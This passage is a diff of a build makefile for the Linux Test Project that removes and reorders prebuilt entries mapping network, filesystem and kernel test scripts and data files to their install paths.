-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff04
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic01
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff09
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff08
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic05
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp-uni-vti.sh
-module_src_files := testcases/network/stress/icmp/icmp-uni-vti.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic07
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffnic06
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_funcs.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ipvlan01.sh
-module_src_files := testcases/network/virt/ipvlan01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug03.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug03.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rwtest
-module_src_files := testcases/kernel/fs/doio/rwtest
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport12
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport13
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport10
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport11
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport07
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport06
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffport14
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffport04
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dns-stress-lib.sh
-module_src_files := testcases/network/stress/dns/dns-stress-lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.jpg
-module_src_files := testcases/commands/file/datafiles/in.jpg
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_test_4.sh
-module_src_files := testcases/kernel/controllers/memcg/regression/memcg_test_4.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip05
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip04
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip07
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip06
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip01
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp03
-module_src_files := testcases/network/tcp_cmds/ftp/ftp03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip03
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffip02
-module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp02
-module_src_files := testcases/network/tcp_cmds/ftp/ftp02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests03.sh
-module_src_files := testcases/kernel/power_management/runpwtests03.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_rename.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_rename.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp05
-module_src_files := testcases/network/tcp_cmds/ftp/ftp05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/check_envval
-module_src_files := testcases/network/stress/ns-tools/check_envval
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_stress_test.sh
-module_src_files := testcases/kernel/controllers/memcg/stress/memcg_stress_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ar01/file4.in
-module_src_files := testcases/commands/ar/datafiles/file4.in
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vxlan03.sh
-module_src_files := testcases/network/virt/vxlan03.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_base_ops_testset.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_base_ops_test/cpuset_base_ops_testset.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast-group-same-group
-module_src_files := testcases/network/stress/multicast/grp-operation/mcast-group-same-group
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.csh
-module_src_files := testcases/commands/file/datafiles/in.csh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_uninit_groups_test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-pktfld01
-module_src_files := testcases/network/stress/multicast/packet-flood/mcast4-pktfld01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/if-updown
-module_src_files := testcases/network/stress/interface/if-updown
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-pktfld02
-module_src_files := testcases/network/stress/multicast/packet-flood/mcast4-pktfld02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/if-route-addlarge
-module_src_files := testcases/network/stress/interface/if-route-addlarge
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/gdb01.sh
-module_src_files := testcases/commands/gdb/gdb01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-multi-diffport05
-module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_stat_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/modaltr.sh
-module_src_files := testcases/kernel/fs/fs-bench/modaltr.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mc_member
-module_src_files := testcases/network/multicast/mc_member/mc_member
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test19
-module_src_files := testcases/kernel/fs/fs_bind/bind/test19
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route4-rmmod
-module_src_files := testcases/network/stress/route/route4-rmmod
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/myfunctions-io.sh
-module_src_files := testcases/kernel/controllers/io-throttle/myfunctions-io.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test12
-module_src_files := testcases/kernel/fs/fs_bind/bind/test12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/utimensat_tests.sh
-module_src_files := testcases/kernel/syscalls/utimensat/utimensat_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test10
-module_src_files := testcases/kernel/fs/fs_bind/bind/test10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test11
-module_src_files := testcases/kernel/fs/fs_bind/bind/test11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test16
-module_src_files := testcases/kernel/fs/fs_bind/bind/test16
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dccp01.sh
-module_src_files := testcases/network/dccp/dccp01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test14
-module_src_files := testcases/kernel/fs/fs_bind/bind/test14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test15
-module_src_files := testcases/kernel/fs/fs_bind/bind/test15
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale13
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_do_disk_write_loop
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_disk_write_loop
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale12
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic02
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic03
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tst_test.sh
-module_src_files := testcases/lib/tst_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic01
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic06
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale11
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic04
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic05
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale10
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test07-2
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test07-2
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp04
-module_src_files := testcases/network/tcp_cmds/ftp/ftp04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_net_stress.sh
-module_src_files := testcases/network/stress/ns-tools/test_net_stress.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route6-change-dst
-module_src_files := testcases/network/stress/route/route6-change-dst
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ipneigh01.sh
-module_src_files := testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale14
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests06.sh
-module_src_files := testcases/kernel/power_management/runpwtests06.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffnic07
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_subgroup_charge.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic14
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dns-stress01-rmt
-module_src_files := testcases/network/stress/dns/dns-stress01-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic10
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic11
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic12
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic13
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.wav
-module_src_files := testcases/commands/file/datafiles/in.wav
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic08
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast-group-single-socket
-module_src_files := testcases/network/stress/multicast/grp-operation/mcast-group-single-socket
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport11
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic01
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic03
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic02
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic05
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic04
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic07
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic06
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/pm_cpu_consolidation.py
-module_src_files := testcases/kernel/power_management/pm_cpu_consolidation.py
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test07
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fsxtest02
-module_src_files := testcases/kernel/fs/fsx-linux/fsxtest02
+module_prebuilt := testcases/data/ar01/file1.in
+module_src_files := testcases/commands/ar/datafiles/file1.in
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/data/ar01/file10.in
 module_src_files := testcases/commands/ar/datafiles/file10.in
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/run_cpuctl_test.sh
-module_src_files := testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test01
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.tar.gz
-module_src_files := testcases/commands/file/datafiles/in.tar.gz
+module_prebuilt := testcases/data/ar01/file2.in
+module_src_files := testcases/commands/ar/datafiles/file2.in
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/data/ar01/file3.in
 module_src_files := testcases/commands/ar/datafiles/file3.in
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ftp-download-stress02-rmt
-module_src_files := testcases/network/stress/ftp/ftp-download-stress02-rmt
+module_prebuilt := testcases/data/ar01/file4.in
+module_src_files := testcases/commands/ar/datafiles/file4.in
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcpdump01
-module_src_files := testcases/network/tcp_cmds/tcpdump/tcpdump01
+module_prebuilt := testcases/data/file01/in.ar
+module_src_files := testcases/commands/file/datafiles/in.ar
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/rbind/test39
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test39
+module_prebuilt := testcases/data/file01/in.bash
+module_src_files := testcases/commands/file/datafiles/in.bash
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/macvtap01.sh
-module_src_files := testcases/network/virt/macvtap01.sh
+module_prebuilt := testcases/data/file01/in.c
+module_src_files := testcases/commands/file/datafiles/in.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/stop_freeze_sleep_thaw_cont.sh
-module_src_files := testcases/kernel/controllers/freezer/stop_freeze_sleep_thaw_cont.sh
+module_prebuilt := testcases/data/file01/in.csh
+module_src_files := testcases/commands/file/datafiles/in.csh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/telnet01
-module_src_files := testcases/network/tcp_cmds/telnet/telnet01
+module_prebuilt := testcases/data/file01/in.jpg
+module_src_files := testcases/commands/file/datafiles/in.jpg
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/connector_test.sh
-module_src_files := testcases/kernel/connectors/connector_test.sh
+module_prebuilt := testcases/data/file01/in.ksh
+module_src_files := testcases/commands/file/datafiles/in.ksh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp_fastopen_run.sh
-module_src_files := testcases/network/tcp_fastopen/tcp_fastopen_run.sh
+module_prebuilt := testcases/data/file01/in.m4
+module_src_files := testcases/commands/file/datafiles/in.m4
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-smallsend09
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09
+module_prebuilt := testcases/data/file01/in.mp3
+module_src_files := testcases/commands/file/datafiles/in.mp3
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/assign_password.sh
-module_src_files := testcases/kernel/security/mmc_security/assign_password.sh
+module_prebuilt := testcases/data/file01/in.pl
+module_src_files := testcases/commands/file/datafiles/in.pl
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/smt_smp_affinity.sh
-module_src_files := testcases/kernel/sched/hyperthreading/ht_affinity/smt_smp_affinity.sh
+module_prebuilt := testcases/data/file01/in.png
+module_src_files := testcases/commands/file/datafiles/in.png
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/mcast-group-multiple-socket
-module_src_files := testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket
+module_prebuilt := testcases/data/file01/in.py
+module_src_files := testcases/commands/file/datafiles/in.py
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/if-mtu-change
-module_src_files := testcases/network/stress/interface/if-mtu-change
+module_prebuilt := testcases/data/file01/in.sh
+module_src_files := testcases/commands/file/datafiles/in.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ima_policy.sh
-module_src_files := testcases/kernel/security/integrity/ima/tests/ima_policy.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test08
-module_src_files := testcases/kernel/fs/fs_bind/move/test08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/parameters.sh
-module_src_files := testcases/kernel/controllers/cpuctl/parameters.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/busy_poll03.sh
-module_src_files := testcases/network/busy_poll/busy_poll03.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ar01/file1.in
-module_src_files := testcases/commands/ar/datafiles/file1.in
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport08
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08
+module_prebuilt := testcases/data/file01/in.src.rpm
+module_src_files := testcases/commands/file/datafiles/in.src.rpm
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/data/file01/in.tar
 module_src_files := testcases/commands/file/datafiles/in.tar
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport06
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06
+module_prebuilt := testcases/data/file01/in.tar.bz2
+module_src_files := testcases/commands/file/datafiles/in.tar.bz2
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport07
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07
+module_prebuilt := testcases/data/file01/in.tar.gz
+module_src_files := testcases/commands/file/datafiles/in.tar.gz
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport04
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04
+module_prebuilt := testcases/data/file01/in.txt
+module_src_files := testcases/commands/file/datafiles/in.txt
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport05
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05
+module_prebuilt := testcases/data/file01/in.wav
+module_src_files := testcases/commands/file/datafiles/in.wav
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport02
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02
+module_prebuilt := testcases/data/file01/in.zip
+module_src_files := testcases/commands/file/datafiles/in.zip
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport03
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03
+module_prebuilt := testcases/data/ld01/main.c
+module_src_files := testcases/commands/ld/datafiles/main.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/test_net.sh
-module_src_files := testcases/lib/test_net.sh
+module_prebuilt := testcases/data/ima_policy/measure.policy
+module_src_files := testcases/kernel/security/integrity/ima/policy/measure.policy
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport01
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01
+module_prebuilt := testcases/data/ima_policy/measure.policy-invalid
+module_src_files := testcases/kernel/security/integrity/ima/policy/measure.policy-invalid
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/move/test04
-module_src_files := testcases/kernel/fs/fs_bind/move/test04
+module_prebuilt := testcases/data/ld01/rd1.c
+module_src_files := testcases/commands/ld/datafiles/rd1.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/runpwtests_exclusive05.sh
-module_src_files := testcases/kernel/power_management/runpwtests_exclusive05.sh
+module_prebuilt := testcases/data/ld01/rf1.c
+module_src_files := testcases/commands/ld/datafiles/rf1.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/run_capbounds.sh
-module_src_files := testcases/kernel/security/cap_bound/run_capbounds.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend08
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend09
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend06
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend07
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend04
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend05
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend02
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend03
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale04
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale05
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale06
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale07
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport10
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport11
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale02
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport13
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug04.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug04.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale08
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-winscale09
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_force_empty.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mc_opts
-module_src_files := testcases/network/multicast/mc_opts/mc_opts
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vlan02.sh
-module_src_files := testcases/network/virt/vlan02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip6-version
-module_src_files := testcases/network/stress/broken_ip/broken_ip6-version
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup07
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup06
